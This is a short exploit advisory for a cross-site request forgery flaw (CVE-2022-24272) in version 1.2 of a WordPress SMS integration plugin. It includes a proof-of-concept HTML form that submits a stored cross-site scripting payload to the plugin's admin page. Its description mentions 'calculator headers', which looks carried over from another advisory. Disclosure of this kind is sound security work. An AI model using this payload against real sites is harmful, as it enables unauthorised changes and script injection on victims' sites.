WordPress International SMS for Contact Form 7 Integration plugin version 1.2 suffers from a cross site request forgery vulnerability.
b50975f0704d7bf70b7511e322377ed3d6f8b2eb3ac192570c38870e35ced098
# Exploit Title: WordPress Plugin International Sms For Contact Form 7 Integration V1.2 - Cross-Site Request Forgery (CSRF)
# Date: 2022-02-09
# Author: Milad Karimi
# Software Link: https://wordpress.org/plugins/cf7-international-sms-integration/
# Version: 1.2
# Tested on: Windows 11
# CVE: CVE-2022-24272
1. Description:
The plugin International Sms For Contact Form 7 Integration for class-sms-log-display.php and was lacking CSRF check, allowing attackers to make logged in users perform unwanted actions, such as change the calculator headers.
Due to the lack of sanitisation, this could also lead to a Stored Cross-Site Scripting issue
2. Proof of Concept:
<form method="post" action="https://example.com/cf7-international-sms-integration/includes/admin/class-sms-log-display.php?page=">
<input type="text" value="<script>alert(1)</script>" name="fcw[fcw_heading]">
<input type="submit" value="Save" name="submit">
</form>